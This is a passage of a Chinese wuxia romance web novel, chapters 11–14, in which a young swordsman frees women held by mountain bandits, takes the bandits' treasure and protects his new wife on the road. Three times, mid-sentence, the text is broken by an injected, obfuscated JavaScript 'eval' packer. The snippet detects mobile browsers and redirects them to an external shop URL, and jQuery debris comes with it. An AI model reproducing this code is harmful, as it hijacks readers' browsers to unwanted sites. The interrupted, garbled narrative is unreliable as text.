看着到了火候,尖锐的笛音嘎然而止,江见将骨笛别回到腰间,捂了捂同样有些不适的胸口。 作为吹笛人,江见难免会被被直接波及到,尽管他戴了沉音木打造的耳塞,但距离的过近还是让他气血翻涌了一阵。 好在此番时间不长,他没将这些轻微的不适感放在心上。 想起自己如今不是孤身一人,江见连忙扭头去看他的娘子,见人只是脸色白了些在发呆,他松了口气。 11. 第 11 章 轻柔地取下云桑耳中的木塞,江见再度牵起了云桑的手,用的是那只方才狠辣夺取贼匪鲜活生命的手。 似乎比先前更温暖了,也握得更紧了。 江见轻轻使力拉了一下,却没能立即拉动人,江见瞧着少女,微微抿唇。 “走了,娘子。” 他轻声唤着,眸中带着些不解,也有几分少年人的气闷。 云桑反应过来,忙不迭哦了一声,迈着发软的腿朝江见走了过去。 这次再没有阻力,她朝着自己走来了,江见心道,面上重新焕发了笑意。 踢开横在脚下的贼匪,江见牵着云桑推开了门。 外面也不空旷,站满了听到风声过来观望的女子们,粗粗数来也有一百来个,皆是这些年来这些山匪劫掠而来的可怜女子。 她们许多都带着孩子,那是那些将她们抢上山的凶恶山匪强迫她们生下的孩子,她们既爱又恨。 她们与先前看到的零星女子基本相同,她们面上带着惊疑不定的神情,待江见推开门,她们看见里头的情景后,神情激动起来。 云桑知道,那是解气与欢喜,她们看到了人生的希望。 江见还记得自己起初上山的缘由,扫了一眼那群可怜女子,干脆问道:“人群中可有叫做胡灵儿的姑娘?” 江见中气很足,见先前吹笛子便知道了。 人群中的女子面面相觑,出现了一点小小的骚动,最后一个带着小男娃的女子出来了,二十岁的模样,模样清秀,双眸泛红。 “我便是,少侠有何事?” 对于这些可怜的女子来说,江见替她们惩治了恶人,那便是有侠义之举的人,她们感激他。 但另一方面,虽然没有亲眼看见杀戮的景象,但虚虚瞥几眼大堂内惨烈的景象,她们也知晓了眼前笑盈盈的少侠是个多么危险的人物。 虽然他身后的姑娘看起来很是良善温柔,但无法掩盖少年手段的狠辣。 只见少年含笑的眼眸看了过来,如闲叙般说道:“我受过你父母一点恩情,应承了他们要让你回家,如今这局面,也算是行侠仗义了,他们都被我伤了肺腑,没几日站不起来,你们自下山回家去吧。” “至于他们,随你们处置了。” 一些专门杀人劫道,祸害良家女子的恶人,死了便死了,江见风雨几载,什么世道没见过,更遑论一些罪孽深重的山匪性命。 少年轻描淡写的话语让众女子先是怔了怔,紧接着陷入狂喜中。 “可以回家了,可以回家了!” “终于可以见到我爹娘了,呜呜呜~” “再不用在这被人当牲畜一样折磨了,太好了!” 许多女子喜极而泣,痛哭出声,情绪一瞬间豁然开朗。 随之而来的,便是对那些躺在地上哀嚎的贼匪的怨愤,有些性烈的女子再压抑不住激昂的情绪,拿着割草的镰刀便扑进了大堂,对着屋内某个匪贼便挥起了镰刀。 原本安静了许多的大堂又响起了嚎叫声。 这个女子的行为仿佛是一粒火星子,溅到了满是干草的山林,瞬间燃起了熊熊火焰。 只见那些多年来在贼匪手里饱受折磨的女子一个接一个操着手里的农具进了大堂,没有农具的便随手搬起路边人头大小的石头,恨意滔天地跟进去了。 只有极少数实在胆怯柔弱的女子没有跟去,还在原地哭泣。 大堂的们被细心的女子体贴的关上,隔绝了一切可怖的画面,只听其中惨叫声连连。 很明显,这些被抓上山的可怜女子在报仇雪恨。 云桑身为女子,自然比江见更能体会到这些女子的情绪,看着她们发疯似的冲进屋子里,心中五味杂陈。 不过好在她们遇见了江见这个行侠仗义的,要不然还不知要被困在山上何年何月。 “这位姐姐,知晓这山寨的库房在哪吗?” 正在云桑还沉浸在浓厚的情绪中,身边的江见已经打起了另外的主意。 被问到的女子才哭完一轮,忽地听江见问她这个问题,她先是呆了一瞬,才老实巴交道:“在大当家屋里,从偏门也可以进,我带少侠去吧。” “那便多谢这位姐姐了。” 少年生得俊俏,一惯嘴甜,又是笑盈盈的,是一副很有迷惑性的面孔,看得那女子没了刚开始的胆颤心惊,在前面领路去了。 云桑被他牵着,亦步亦趋跟在他旁边,安静了许久的她终于平复了心绪出声了。 “你找库房做什么?” 库房里有什么不言而喻,云桑有些猜想,但不好确定。 “自然是拿报酬。” 江见半点不瞒着她,眉眼染着轻快的笑,大剌剌地解释道。 大约是心情不错,江见走得越来越快,云桑只能小跑着跟上,另一只手也扒拉住他。 “可你不是行侠仗义吗?” 面对云桑的问话,江见好似听到了一个笑话,诧异道:“这两者之间有冲突?行侠仗义就不可以拿报酬了吗?” 江见的反问让云桑怔了怔,也觉得似乎没什么毛病,跟着点了点头道:“好像没有这个理。” 江见笑了,放缓脚步的同时笑答道:“这不就结了,咱们快去。” 一对少年人踏着欢快的脚步,就如同世间最单纯快乐的眷侣。 贼匪爱财色,除了将寨子里的女人看得严实外,对钱财看得更是严实。 贼匪头子为了藏匿住他的宝贝们,特地还在自己的屋里修了个密室,密室门的机关藏得很隐秘,就连一向熟稔这些东西的江见都没能立即找到。 因为贼匪头子将开关设在夜壶上。 去扭开关的时候,就连一向爱笑明朗的江见都没了好脸色,云桑品出些一言难尽来。 床后的墙壁缓缓开了,黑洞洞的,江见掏出了一个火折子,吹亮了走进去。 云桑怕黑,本想在外等着江见出来的,奈何江见去哪都要带着她,一不注意就被他拉进去了。 密室内有好几口大箱子,掀开盖子,不出意料是人最喜爱的黄白之物。 这些看着绚丽璀璨的金银财物,是这些恶徒不知猖獗了多少年,害了多少性命才吞下的财富。 江见看见这些财物无疑也是欢喜的,眼眸都笑弯成了月牙,但没有那等让人嫌恶的贪婪欲望,就好像只是看到了一桌珍馐。 他没有急着采取什么行动,而是踱步到了满是女子钗环首饰的箱子面前。 江见眼眸亮晶晶地拿起了上面躺着的一支芍药金簪,兴冲冲地在她头上胡乱簪下了。 “娘子快看,这里有许多漂亮的发簪,我给你拿些。” 江见也不管她此刻有没有发髻,就那么将簪子歪歪斜斜插在了她的辫子上,不用照镜子云桑都知道有多么滑稽。 云桑将挂在她头上的簪子摸了下来,摇头拒绝道:“不必,我用不上,你拿你的报酬便好了,拿完了我们快些下山去。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134075|150007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>云桑不太喜欢在贼窝里待着,总感觉鼻翼间有挥之不去的血腥味。 看着兴致缺缺的云桑,江见先是哎了一声,很明显是有些失落的,但很快又自己将自己调理好了。 “没关系,你日后总会用上的,我给娘子挑些好看的。” 说着,江见人又豁然开朗起来,像个勤劳的蜂子一般不知从哪里扯出来一块布,将那些钗环首饰还有金银钱财装了满满一包袱,系得牢牢的甩在了肩上。 “剩下的你们分了也好,上交给官府也罢,都随你们了。” “一直往西南走能够下山,你们人多,野兽不敢轻易靠近,趁着白天都回家去吧。” 少年笑盈盈地说着温暖又充满希望的话,一旁跟来的女子眼眶不住泛红,云桑知道,她们渴望这天很久了。 …… 血腥味散去,云桑终于又嗅到了清新的空气,清风揉碎在草木中,伴着暖阳吹拂过来,让人沉闷的心都跟着轻盈起来了。 不知道是不是得了报酬的缘故,江见的心情更好了,背着那沉甸甸的包袱,似乎走起路上还给云桑一种蹦蹦跳跳的错觉。 云桑仍旧走得慢些,落在他身后两步远,看着江见活泼轻快的背影,惊诧于他的精力旺盛。 她不仅累了,肚子也有些饿。 那样大的一张饼说消化就消化了,云桑第一次这么佩服自己。 定是那时被江见吓唬的嚎了半天将饼子耗光了,云桑这样想。 又是走了几步,江见手里空落落的,他便伸手去够,将人攥在手心。 却不想对着空气抓了两下什么也没抓到,江见终于停下了轻快的步伐,往后瞧了瞧。 停顿的几息间,落后江见几步的云桑慢悠悠赶了上来,见江见顿住脚步瞧她,云桑神色迟钝,诧异道:“怎么不走了?” 她并不在乎能不能和江见并肩走,毕竟他人高腿长走得快,云桑不想勉强自己去追赶,她也懒得回回都出声让江见等等她。 慢他几步而已,只要江见不扔下她就行。 云桑心态良好,殊不知江见心里正愧疚着。 江见等到了人,二话不说牵住了云桑的手,面上是懊恼和歉然。 “是我的不是,又忘记了娘子走不快,以后我若再这般,娘子定要记得喊我。” 虽然已经不是头一遭被江见拉着手了,但此情此景云桑还是有些窘迫,有种青天白日下公然调情的感觉。 面对江见的歉意,云桑则不以为意,只脸热地瞥了一眼江见将她攥得紧紧的手,轻声细语道:“没关系,差几步罢了,我能跟得上。” 全然是一副无所谓的姿态,这让江见不自觉拧起了眉头。 指腹摩挲了几下少女软的像嫩豆腐一样的虎口,江见不赞同地反驳道:“那怎么行,你要是在后面被野兽叼走了怎么办,那样我就没有娘子了!” 这一瞬间,云桑甚至想笑,觉得江见真是个荒谬又逗趣的人。 两颊颤动着,云桑没忍住弯了眼眸嗤笑道:“你这也太夸张了些,哪里会有这样的事情发生。” 就依着江见那敏锐的感知和利落的手段,怕是野兽一冒头就被卡了喉咙,哪里又能将她叼走? 这显然是个概率很小的事情。 但江见不这样觉得,他大惊小怪起来,睁着那双潋滟双眸道:“不怕一万就怕万一,娘子可不能出事!” 云桑不再与他争执什么,跟着江见刻意放缓的步子并肩赶路了。 12. 第 12 章 迎着山间徐徐清风,两人无忧无虑地行走在山野间,只觉天地广阔纯净。 江见是个很幼稚的少年,明明看起来也没有很小,但高兴起来全然是一副孩子做派。 他牵着云桑的手还不够,走起路来甚至还要荡起来,像是荡秋千一般。 云桑一边觉得无奈一边又被他快乐的情绪感染着,心神也跟着飞扬起来。 云桑侧目看着少年的笑脸,突然好奇起了一桩事,也顺嘴问起来了,毕竟江见看着很好交流,她问什么都能问出来的样子。 “你先前说是因为胡灵儿的爹娘对你有恩情,是什么样的恩情值得你深入虎穴?” 上山剿匪这事在云桑的认知里只有官府会去做,也才敢去做,而江见再强也只是一人一剑,竟就这么莽上山了,实在勇气可嘉。 虽然现在看来江见确实是这个本事,但听起来还是很离奇。 虽然不是很惬意的话题,但娘子主动同他说话江见还是很开心的,江见眯着眼睛将前不久那事娓娓道来。 那是一旬前的一个夜晚,他刚结束了和雇主的一单,让雇主没有被暗阁的顶级杀手暗杀。 但那杀手是个拿命来拼的,但江见不是,虽然最后江见将那杀手解决了,但胳膊上留下了一道伤。 因为下雨了,江见急着进城找客栈好好歇一歇,便没有管臂上的伤口。 在街角路过一家食铺,是做汤面生意的,铺子里只有两个上了年纪的老人,岁月无痕,都染在了鬓边白发上。 酣战了许久,又行了很久的路,江见的肚子无疑是饿的。 当然,最关键的是这家面闻起来十分鲜美可口,他很是中意。 但此刻天实在是晚了,大街上的店铺和摊子几乎都打烊了,就算是动作最慢的那个卖胡饼的老汉都快收拾完了。 食铺里两个老人自然也在忙碌着,清扫着脏乱的地面,擦拭着染着油污的桌椅。 若换做旁人,看到这副景象大概就不会伸头进去了,但江见不是一般人。 他很想尝一尝这家面,肚子在这家食铺气味的诱惑下更饿了,大有咕咕叫的意思。 “老板,先别急着打烊,再做我一单生意,我愿出双倍的银钱!” 江见大剌剌地迈进去,往最近的桌子旁一坐,朗声道。 两个正收拾桌椅的老人家闻言,抬头瞧了江见一眼,下意识便拒绝道:“小公子去别处吧,老头子这里要打烊了。” 本以为说完这话人就该走了,老者继续擦桌子。 “双倍都不够吗?那我出三倍,嗯五倍吧,怎么样老板?” 江见是个随性所欲的性子,他想去哪就去哪,想做什么就做什么,没有规则约束,全凭心情罢了。 如今他肚子饿的咕咕叫,又碰上了对口味的吃食,他一定要吃到! 面对固执的少年,老两口一前一后都过来了,心里有些拿不定主意。 到了打烊时候,老两口是不大想再起锅下面的,但遇到的这个小公子实在倔强,尤其腰间还负剑,让老者有些担忧这少年是不是个不好相与的。 “小公子何必花这冤枉钱,自去吃些别的多好。” 江见不依,他睁着一双清凌凌的黑眸,虽然在笑,但姿态倔强。 “我今夜就想吃你们家的,老板当真不能再下一碗吗?” 外头淅淅沥沥落了雨,是自江见走在街上便有的,只不过那时是一些蒙蒙细雨,眼下是越下越大了。 很多人往往便是吃软不吃硬,尤其这还是一对老人,看着眼前这个清澈单纯的少年,他们不由得想起了三年前被山匪劫走的孙女,一时心软了。 “罢了罢了,锅里还有肉汤,面也还剩一些,天晚了,外头又冷,便给这个小公子吃了吧。” 老婆子想到了他们那个可怜的孙女,眸中不由染上了些水色,偏头抹去了。 装着羊肉汤的锅子还未冷下去,老两口将羊肉汤浇到一大份面条上,又问了江见一句道:“小公子吃不吃辣子和胡荽?” 江见瘪着肚子等着中意的吃食,翘着二郎腿,姿态悠闲地应了一声。 “都吃。” “嗳。” 老者应了一声,继续忙活去了。 面这等吃食还是很快的,不一会,婆子便端着一大碗羊肉面过来了。 大约是估摸着江见的年纪在长身体,老两口给的份量很足,软白筋道的面上铺着不少大块羊肉片,绿油油胡荽点缀在一边,辣子已经被热汤冲散开来了。 这是一碗色香味俱全的吃食,没有辜负江见的期待,他囫囵吞了几筷子,神情满意得不行。 但就这会子功夫,端面过来的婆子看见了少年那被鲜血染红的袖子,她瞪大了昏黄的老眼,惊愕道:“小公子受伤了!” 白袍明亮洁净,染上些什么都看得一清二楚,更不必说那等鲜红。 对于老人家的惊愕,江见没有给过多的反应,只嗯了一声道:“路上遇到了劫道的山匪,被山匪砍了一刀。” 婆子本就是个心底柔软善良的人,又被这山匪一词刺到了伤处,她哪里能释怀。 原本慈和的面上露出了哀伤,与同样悲怆的老伴对视了一眼,苍老如树皮的手抚了抚少年染着鲜血的袖袍,叹声道:“可怜见的,正巧家中还有些伤药,老婆子给小公子包扎一下吧。” 江见本想说不必,这点小伤他自己回去随便弄一下就行了,但嘴里还忙着咀嚼,没来得及说话那婆子便进了后间,再出来手上已经拿了伤药和纱布,笑意慈和但不容置喙地给他进行了细心的包扎。 江见对于别人的善恶情绪感知都很灵敏,对他有恶意的,他只会更恶,但对他有善意的人,江见便宽仁许多。 比如此刻,他任由着这老婆子给他伤药。 他混迹江湖多年,受过大大小小不少伤,对金疮药这等伤药最是熟悉,嗅到了那气息,江见更少了几分警惕。 老人家很温柔,不像师父,总是粗手粗脚的会弄疼他,甚至不影响他吃面。 这一晚,江见不仅胃里暖暖的,心里也流淌着一股怪异的暖流。 待他的面吃完后,他的伤也被处理好了,不仅如此,他染血的袍子也被那阿婆热心拿去洗了。 江见无事,便同那老伯唠了起来,才得知老人家膝下只有一子,多年前被征兵死在了战场上没能回来,儿媳剩下孙女后没几年也恶疾缠身去了。 “那怎么只见你们二老?” 彼时江见还不知两位老人的伤痛,只眨着清澈的眼眸,好奇地问了一句。 “三年前被山匪劫走了,如今也没回来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134076|150007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那婆子正好出来,老眼闪着泪花,哽咽道。 “那这事官府不管吗?” 山林间,徐徐清风伴着少女清脆的声音,江见闻言,唉声叹气了一阵,粲然笑道:“我也是这么问的,但他们告诉我这里的县令是个不中用的,惧于山匪凶悍,只知道缩着,不敢出人剿匪,便当了许多年的睁眼瞎,因而没人为被山匪劫走的女子做主。” 江见面上出现了一种类似怜悯的情绪,但这种怜悯又不够诚心,看上去风轻云淡的。 云桑听得来气,鼓着两颊气愤道:“为人父母官,怎可如此做派,真是尸位素餐,合该将其贬下去才好!” 面对这样乌烟瘴气的山匪,这样多被荼毒的女子,县令竟还能视而不见,过他的安乐日子,真不配做这个县令。 云桑的气势汹汹的斥骂逗笑了江见,他捏了捏云桑的手心,那是手掌中最柔软的地方,云桑被挠得发痒,立即就想后缩,但没能成功。 “看不出来软绵绵的娘子还有这么大口气的时候,说得好像你是皇帝似的~” 捏完云桑,江见还不客气地调侃,云桑气恼地瞪了他一眼,全然忘了之前自己看到江见大开杀戒时的心境。 江见的目光落在少女鲜活的眉目上,细细打量了一番,没有在上面看到让自己不喜的惧怕,这才畅快起来。 “现在这样多好,方才在大堂里,娘子看我就好像在看鬼,我可是很难过的。” 少年愤愤不平地诉说着自己别扭的心绪,虽然云桑觉得很离谱,但她就是觉得江见在撒娇。 些许震惊地看着身畔人,云桑有些不可思议。 江见真是个复杂的人,前脚那么凶残,后脚还能笑盈盈地向她这样一个最弱小的姑娘露出这般姿态,好没有枷锁的一个人。 “也没有在看鬼,就是猛然看见你杀了那么多恶人心里难免害怕,和你之前不一样。” 似乎是又想起了大堂内鲜血淋漓的断肢和人头,云桑脸色继而又白了,看得江见蹙眉。 “你怕什么,我又不会杀你,把心放回肚子里便好。” 少年面上一片赤忱,一时间又变回了那个看起来潇洒如风的单纯游侠,但经过了今日之事云桑可不会觉得这是个单纯的少年了。 云桑细腻地感受到江见不喜欢她对他露出恐惧,也不欲在这事上纠缠,忙不迭转了个话题道:“所以你那日便是去剿匪,然后遇到了坠下悬崖的我?” 山茶花还牢牢簪在少女的鬓边,艳丽的红将少女如玉似雪的面庞衬得分外昳丽多姿,江见若不是另一只手不得闲,定要去感受一下。 他最喜欢触摸他觉得美丽的东西,比如长亘山的云桑花。 弯了弯唇角,江见想起这个便觉万分幸运,笑语道:“没错,那日我便欲寻找山匪老巢,但因为第一次登桃花山迷了路,兜兜转转到了下午,不知走到了哪,看见了挂在悬崖峭壁上的娘子,便将娘子救了下来。” “不得不说,娘子真能睡,我可是足足在那守了两个时辰你才醒,不过一切都值了!” 如果他没有去这桃花山行侠仗义,那便遇不到生命垂危的云桑,那这样一个娇娇弱弱的姑娘便会在无人之地不知不觉地死去,他便没有娘子了。 想到这,江见万幸地拍了拍胸口,有种老天爷眷顾的满足感。 13. 第 13 章 云桑见他突然舍得松开自己,还大力拍了拍自己的胸口,心头虽不解,但没多过问。 她也不是事事都想探寻人家的心事的。 将江见的一番絮絮叨叨听进了耳朵里,云桑又重复了一遍先前夸赞他的话。 “你真是个好人。” 不管是将她从悬崖峭壁上救下来,还是为这么多可怜女子清剿山匪,云桑都可以窥见他内心的柔善。 说这句话时,云桑目光柔柔地,像是一团晒足了太阳的云朵,听得江见心田又暖又软。 他还是很新鲜云桑这样夸赞他,且觉得这是他应得的。 他本就是个好人。 “咕咕~” 就在两人静默间,一阵无法忽略的声响冒出了头,在这样鸟雀啾喳的山林中有些过于明显。 听力敏锐的江见第一时间便锁定了声源,那双始终含笑的清润黑眸也精准落在了云桑的肚子上。 自己的身体,自己自然是能最快察觉的,意识到自己的肚子饿叫了,云桑闹了个大红脸。 “娘子肚子饿了,怎么不早说?” 江见的目光带着一种宽厚的柔和,莫名让云桑觉得自己像是个小孩子。 被江见那直白的目光烫到,云桑赶紧捂住了自己还在咕咕叫的肚子,强压着面颊的热意,声音弱弱道:“不好意思,没控制住。” 这在云桑的认知中是十分失礼的行为,但她实在控制不住身体的反应,她越来越饿了。 “这有什么不好意思的,那什么,不是有个姓孟的圣人说过吗?食色,性也,娘子不必不好意思。” “想吃什么,我去找来。” 没想到江见看着吊儿郎当的还能扯出这么一句来,云桑刚要纠正他,告诉他这话不是孟子说得,而是与其辩论的告子所言,然一听他后面一句,注意力顿时被吸引走了。 不管了,反正江见对这个肯定也没什么兴趣,而且她好饿。 “什么都可以。” 只要是吃的,云桑心想。 江见将四下打量的目光收回来,听着云桑柔软的应答,感慨道:“娘子真是好养活。” 云桑也这么觉得,都这个时候了,她还挑拣什么。 说完,只见江见先行去了一棵参天巨树下,打量了一番树的枝枝叶叶,满意地点了点头。 “就这棵了!” 就如同一个相中了好木材的伐木人,江见满脸都写着中意。 “你这是……” 就在云桑都要以为江见准备砍树的时候,少年转过身来,朝她张开怀抱。 “娘子,快过来!” 就跟找到了什么好玩意邀请小伙伴过来一同分享的姿态,云桑虽然诧异,但还是老实迈步过去了。 反正江见总不会伤害她。 刚立在江见跟前,云桑都没来及问他想做什么,就察觉到腰肢缠上一条有力的臂膀,紧跟着人就飞起来了。 是的,飞起来,直到落在这棵刚被江见相中的树上,云桑才再次踩到实处。 脚下不再是长满细碎杂草的地面,而是一截粗壮的枝干,如大腿一般粗,看起来很是结实。 “我就要离开一会,怕留你一个人遇上猛兽,娘子先在树上待一会,我很快回来。” 云桑抱着一旁的枝干,脑袋空了一瞬,木木地点了点头。 上都上来了,在这等便在这等吧。 少年轻笑,身姿如燕般闪身走了,云桑安静地看着那道白点越来越小,直至消失。 叹了一口气,云桑继续抱着身畔的树枝,虽然脚下的枝干很粗壮,但她还是小心翼翼的,生怕自己一不留神就掉下去。 偶尔有胆大的山雀飞到她跟前,歪着小脑袋看她一会,然后很快便会飞走。 除此之外,便只有山风吹过树叶的簌簌声。 云桑站得有些累了,扶着枝干小心翼翼地坐下,双腿垂在空中晃荡着,竟十分惬意。 就是肚子好饿,她眼巴巴地看着江见消失的方向,期盼他的身影再次出现。 然江见没等回来,却是等到了一条慢吞吞爬上她身下枝干的小蛇。 一条身形娇小的的,浅黄色的小蛇,正吐着蛇信子往她这边滑动。 它看起来并没有很凶残,行动也懒洋洋的,丝毫没有要攻击她的架势,但这些不足以云桑卸去对蛇类的恐惧。 这一瞬,云桑身体里的血液几乎凝固了起来。 眼看着它还要继续爬过来,朝着自己,一点一点蜿蜒着自己柔滑湿凉的身躯,云桑呼吸都跟着紊乱了起来。 怎么办,怎么办! 江见不在,没人能帮她,云桑急躁的情绪深刻认识到这一点,强忍着害怕,鼓起了勇气。 见到那蛇已经游到了她的裙摆边缘,因为巨大的刺激,云桑脑袋一阵眩晕,在鼓声密集的心跳声中捏住了那条蛇的七寸。 比云桑想象中的更加湿滑冰凉,她险些喊出来。 本想着将其捏住便扔下树,却不料被捏住心脏要害的蛇浑身扭曲着将云桑的手缠住了,让她想扔也扔不掉。 云桑好想哭一鼻子,但她知道这都是无用功,强忍住情绪,不敢松开这正在嘶嘶吐信子的蛇一点。 “你、你别乱动,要不然我就掐死你!” 云桑紧张地语无伦次,颤抖着将这番原本威势赫赫的话说得绵软无力,若是那蛇可以听懂人言,定是要笑死在树上。 心中的恐惧和焦急时刻烹煎着她那颗本就不坚硬的心,她强忍着眼眶中的泪意,干脆撇过头去不再看那可怖的一团蛇,心中默念着江见这个人。 此时此刻,云桑特别希望江见能在她身侧,这样她就不用一直和这条可怕的蛇紧挨着了。 这条蛇起初被云桑捏住时还剧烈挣扎着,但它只是一条小蛇,和人拼死爆发出来的力量存在悬殊,压根挣脱不开。 意识到这点,并且也感受到这个人类少女没有要取它性命的意思,它也不费劲了,只不时朝着攥着它七寸的云桑不断吐着蛇信子,想让其放开它。 但这个人类丝毫没有领会到它的意思,只会傻傻地将头扭到一边,看都不看它一眼。 一人一蛇僵持了许久,在云桑看来仿佛有一千年一万年那么长,她总算是听到了一道破风声。 云桑激动地几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134077|150007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎要落泪,热意凝结在眼眶中,她于一片模糊中看见了那道白袍身影。 被恐怖小蛇折磨了好半天的云桑再忍不住情绪了,对着那片模糊移动的白便大喊起来。 “江见!江见!有蛇咬我,快来救救我!” 虽然她并没有真的被咬,但这并不影响身心恐惧的云桑夸大其词。 那厢,江见记挂着正饿着肚子的娘子,打了一只肥兔便火急火燎往回赶。 本以为自己将人放到树上便没什么问题了,如今甫一靠近听到少女带着哭腔的呼唤声,江见心脏跟着一紧,暗道一声坏了。 千防万防被防住会会爬树的蛇,也不知是什么蛇,有毒无毒,人怎么样了。 原本兴高采烈回来的江见瞬间没了笑,一颗心像油煎似的,将手里的肥兔往树下一丢,几息间便蹿上了树,看清了树上他以为惊心动魄的一幕。 他的娘子还好端端坐在树上,一张白净俏脸此刻簌簌落着泪珠,漂亮清澈的眼眸哭得像他刚逮到的兔子眼睛,水盈盈的发红。 目光再一转,江见看到一条被云桑攥着七寸,也同样紧紧缠着云桑的食草蛇。 他忽地笑了出来,觉得这一切莫名滑稽。 但也只是笑了一瞬,毕竟少女的泪珠太过美丽,也太过触动心扉,簌簌往下落,像晶莹剔透的露珠一般,看得他心田酸涩难过。 “松手。” 他先是低声道了一句,将手一探,从云桑攥得紧紧的手心中将那条被捏了好半晌已经恹恹无力的小蛇扯了出来,狠狠往远处一抛,很快那小蛇便不知被甩到了哪里,再不见踪影。 树上终究不稳当,江见动作麻利地将人抱在怀中飞身下了树。 “好了没事了,那蛇只是个吃素的小蛇,也没毒,已经被我扔掉了,娘子快别哭了。” 这还是云桑头一回在他面前如此放肆的大哭,江见难免不知所措。 他应付过最穷凶极恶的歹徒,最残忍无情的杀手,但从未遇到过这般梨花带雨的姑娘,还是让自己满心欢喜的姑娘。 江见笨拙地安慰着,见云桑面上泪痕不止,忙不迭用自己粗糙的衣袖去给人擦。 不算细腻的不料刮蹭在少女细嫩脆弱的脸上,立即引起了云桑的抗拒,她左扭右扭着避开江见的衣袖。 “好了好了,我不哭了还不行吗!” 蛇离了手,双脚落了地,云桑的心绪已经平稳了大半,又被江见胡乱擦拭了几下,云桑的注意力完全转移了过来,将泪意收了回来。 她先前也不知是怎的,明明完全可以忍住的眼泪,却在江见归来的那一刻决堤了,她想收也收不回去。 就好像受了什么天大的委屈。 意识到自己这一会眼泪掉的有多凶猛,她心底生出了些尴尬,觉得江见一定更觉得她娇滴滴了。 云桑本想说两句那蛇摸起来有多可怕,话还没出口,一双胳膊就被江见捞了过去,覆在上面的衣袖也被利落地掀起来…… 浅金色的暖阳立即洒在了少女那双白净莹润的藕臂,远远瞧着就像是美玉雕刻成的,只不过分外纤柔罢了。 “江见你要做什么!” 14. 第 14 章 尽管知道江见不是那等乱来的人,但一切发生得太突然,云桑还是被他的行为吓到了。 想将自己的胳膊从江见那里抽回来,奈何自己不是他的对手,咕蛹了两下根本撼动不了对方。 “娘子别闹,我看看你有没有被蛇咬,虽然那食草蛇无毒,但被咬一口也疼。” 只见江见上下翻转着将她裸.着的两条胳膊检查了个遍,嘴里嘀嘀咕咕道。 没发现伤口,江见可算是放了她的胳膊一马,云桑忙将白生生的胳膊缩回到衣袖下,既羞又恼,然偏生还没话说他。 江见就像个傻子一样,什么都不懂,说了也没用,谁让她现在是人家的娘子呢。 本以为江见瞧完了胳膊便安生了,结果他不放心其他地方,还要检查。 不过他倒是没有青天白日地去解她的衣裳,只是一双手试探性地在她身体各处摸索着,似是想看看她身上有没有伤口。 “别摸了,我没有被蛇咬到!” 啪的一声,羞愤的云桑抬手拍在了江见还在认真摸索的手背上,发出清脆的声响。 腰间那双手立即顿住了,慢吞吞地收回来,带着一种粘腻的不舍。 “那便好。” 像个没事人一样朝云桑笑了笑,仿佛先前那等孟浪的事跟他没关系。 人不要脸真是无敌啊,云桑默默腹诽,放弃了纠结。 算了,既应了人成了夫妻,日后怕是有更过分的,若事事都要计较,怕是她得劳心而死。 知道云桑饿了,待解除了危险,江见提着那只肥兔便去水边了。 云桑不用看都知道江见要对那只肥兔做什么血腥的事,她自是没兴趣去瞧的。 只不过她想起自己的手先前跟那条蛇亲密接触过,想起那道湿滑感,忙不迭也跑到了水边将手洗了洗。 一瞥眼,江见用从蹀躞带上解下来的匕首将肥兔开膛破肚了,血红一片,云桑立马老实地转过了头,跑回了树下。 本想着坐着等江见回来,又想起待会江见定是要烤了这只兔子,没有柴火怎么能行。 饿肚子的云桑自是心急的,更何况她又不是什么都不能干的废人,忙去周围捡枯树枝去了。 此刻虽是春日,但往年挤压的枯枝落叶不少,云桑寻起来一点也不难。 不过她没敢跑远,就在这一片活动,就像是江见说得那样,怕走远了被什么猛兽叼走了。 洒满金色暖阳的清肃的山林,一个兢兢业业地捡着枯树枝,一个任劳任怨地处理着肥兔,一时间和谐静谧极了。 云桑踩出的噼啪声响引起了正在收拾肥兔的江见注意,他偶尔回头看着像蜂子一样忙活的少女,心里头产生了一种陌生的情绪。 甜丝丝的,又让人觉得心田发软,是江见以前从未感受过的新奇。 云桑捡的柴很好地发挥了它们的作用,燃起炽热滚烫的火焰,将肥兔烤得开始冒油。 这是一项技术活,云桑是帮不上什么忙了,只捂着肚子看着江见手法娴熟地上下忙活。 不想江见这样行走在外的人,竟还随身带着盐巴,还是最为细腻珍贵的细盐。 他倒是个到哪里都不愿亏待自己的,云桑心里嘀咕着。 百无聊赖地她目光落在了被江见解下的佩剑上,银白色的剑鞘,里头裹着的是那柄细长雪白的剑刃。 云桑有了话头,盯了盯那柄剑,看向江见道:“你这柄剑叫什么名?” 这样美丽又厉害的剑,应当也有个相配它的名字吧。 云桑一脸期待地看着正在认真翻烤食物的少年,一双眼眸盈盈生光,如淬着流水星光。 